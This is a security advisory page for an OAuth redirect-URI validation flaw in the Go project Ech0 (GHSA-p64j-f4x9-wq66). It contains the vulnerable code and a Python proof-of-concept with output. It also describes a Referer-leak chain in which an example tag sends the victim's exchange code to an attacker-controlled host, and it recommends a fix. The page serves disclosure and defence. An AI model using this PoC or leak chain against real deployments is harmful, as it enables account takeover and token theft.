Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-p64j-f4x9-wq66 Ech0

HIGHFix: lin-snow/Ech0@a7e8b8e

GHSA-p64j-f4x9-wq66 is a high-severity (CVSS 8) Open Redirect vulnerability in github.com/lin-snow/Ech0. A fix is available for github.com/lin-snow/Ech0 — see the affected versions and patch details below.

Ech0's OAuth redirect URI validation ignores path component, enables exchange-code theft

Also known asCVE-2026-79662GO-2026-5531
Published
May 7, 2026
Updated
Aug 27, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-p64j-f4x9-wq66.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs9th percentile — riskier than 9% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-p64j-f4x9-wq66 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/lin-snow/Ech0

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

parseAndValidateClientRedirect at internal/service/auth/auth.go:448 validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at /oauth/:provider/login embeds the caller-supplied redirect_uri verbatim into the signed state JWT without any validation at login time. Alice submits a crafted redirect_uri whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at POST /api/auth/exchange for the victim's access and refresh tokens. RFC 6749 §3.1.2 requires exact redirect URI matching.

Details

Validation at internal/service/auth/auth.go:448:

matched := false
for _, item := range allowed {
    allowURL, parseErr := url.Parse(strings.TrimSpace(item))
    if parseErr != nil || allowURL == nil || allowURL.Host == "" {
        continue
    }
    if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) &&
       strings.EqualFold(redirectURL.Host, allowURL.Host) {
        matched = true
        break
    }
}

Scheme and host compared via EqualFold. Path, query, fragment all ignored. An allowlist entry of https://myecho.example.com/dashboard matches every https://myecho.example.com/<anything> the attacker sends.

Login flow at internal/service/auth/auth.go:141 (GetOAuthLoginURL) and the handler at internal/handler/auth/oauth.go:43:

redirectURI := ctx.Query("redirect_uri")
redirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI)
// ...
ctx.Redirect(302, redirectURL)

No validation at login. The raw redirect_uri query parameter is passed to GetOAuthLoginURL, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback.

At callback time, parseAndValidateClientRedirect(oauthState.Redirect) fires at internal/service/auth/auth.go:372 and :427 inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI.

After validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path:

302 Location: https://myecho.example.com/<attacker-path>?code=<one-time-exchange-code>

The code is valid at the public endpoint POST /api/auth/exchange for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim's access token and refresh token.

Proof of Concept

Default install with OAuth2 configured. Admin allows https://myecho.example.com/dashboard as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host:

import requests, urllib.parse, base64, json
TARGET = "http://localhost:8300"

# Admin setup: enable OAuth with one allowed return URL (dashboard).
owner = requests.post(f"{TARGET}/api/login",
                      json={"username": "owner", "password": "owner-pw"}
                     ).json()["data"]["access_token"]
requests.put(f"{TARGET}/api/oauth2/settings",
             headers={"Authorization": f"Bearer {owner}",
                      "content-type": "application/json"},
             json={"enable": True, "provider": "github",
                   "client_id": "poc-client-id", "client_secret": "poc-client-secret",
                   "redirect_uri": f"{TARGET}/oauth/github/callback",
                   "scopes": ["read:user"],
                   "auth_url": "https://github.com/login/oauth/authorize",
                   "token_url": "https://github.com/login/oauth/access_token",
                   "user_info_url": "https://api.github.com/user",
                   "auth_redirect_allowed_return_urls": ["https://myecho.example.com/dashboard"]})

# Alice's link to the victim. Same host, different path.
for attacker_uri in [
    "https://myecho.example.com/dashboard",            # control, allowed
    "https://myecho.example.com/attacker-chosen-path", # path bypass
    "https://attacker.example/foo",                    # different host, should also fail
]:
    url = f"{TARGET}/oauth/github/login?redirect_uri=" + urllib.parse.quote(attacker_uri)
    r = requests.get(url, allow_redirects=False)
    loc = r.headers.get("Location", "")
    state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get("state", [""])[0]
    pad = lambda s: s + "=" * (-len(s) % 4)
    payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(".")[1])))
    print(f"  redirect_uri={attacker_uri!r}")
    print(f"    login HTTP: {r.status_code}")
    print(f"    state JWT redirect: {payload.get('redirect')!r}")

Observed on v4.5.6:

redirect_uri='https://myecho.example.com/dashboard'
  login HTTP: 302
  state JWT redirect: 'https://myecho.example.com/dashboard'
redirect_uri='https://myecho.example.com/attacker-chosen-path'
  login HTTP: 302
  state JWT redirect: 'https://myecho.example.com/attacker-chosen-path'
redirect_uri='https://attacker.example/foo'
  login HTTP: 302
  state JWT redirect: 'https://attacker.example/foo'

All three redirect_uri values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback's scheme+host check against the dashboard allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback's allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely.

Impact

Alice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with ?code=<one-time> in the URL. Three paths to full account takeover follow:

  • Referer leakage. A single <img src="https://attacker.site/log"> or <script src> on the attacker-chosen path sends the victim's full URL (including the code) to the attacker in the Referer header.
  • Analytics and third-party scripts. Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code.
  • Open-redirect chains. If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server.

The code is trade-in-able at POST /api/auth/exchange, which is public. The exchange returns the victim's access_token and refresh_token. Full account takeover follows.

Preconditions: Ech0's OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 §3.1.2 exists precisely to prevent this chain.

Recommended Fix

Require exact redirect URI matching per the spec. Compare scheme, host, and path together:

redirectNorm := strings.ToLower(redirectURL.Scheme) + "://" +
                strings.ToLower(redirectURL.Host) +
                redirectURL.Path
for _, item := range allowed {
    allowURL, parseErr := url.Parse(strings.TrimSpace(item))
    if parseErr != nil || allowURL == nil || allowURL.Host == "" {
        continue
    }
    allowNorm := strings.ToLower(allowURL.Scheme) + "://" +
                 strings.ToLower(allowURL.Host) +
                 allowURL.Path
    if redirectNorm == allowNorm {
        matched = true
        break
    }
}

Validate the redirect_uri at login time too, so a malformed value never enters the state JWT:

func (s *AuthService) GetOAuthLoginURL(provider, redirectURI string) (string, error) {
    if redirectURI != "" {
        if _, err := s.parseAndValidateClientRedirect(redirectURI); err != nil {
            return "", err
        }
    }
    // ... rest unchanged
}

Document the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on.


Found by aisafe.io

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lin-snow/Ech0all versions1.4.8-0.20260503040728-a7e8b8e84bd1go get github.com/lin-snow/Ech0@v1.4.8-0.20260503040728-a7e8b8e84bd1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/Ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/lin-snow/Ech0 to 1.4.8-0.20260503040728-a7e8b8e84bd1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p64j-f4x9-wq66 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-p64j-f4x9-wq66 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-p64j-f4x9-wq66. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at `/oauth/:provider/login` embeds the caller-supplied `redirect_uri` verbatim into the signed state JWT without any validation at login time. Alice submits a crafted `redirect_uri` whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path wi
O3 Security · Impact-Aware SCA

Is GHSA-p64j-f4x9-wq66 in your dependencies?

O3 Security finds GHSA-p64j-f4x9-wq66 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-p64j-f4x9-wq66: Ech0 (High 8) | O3 Security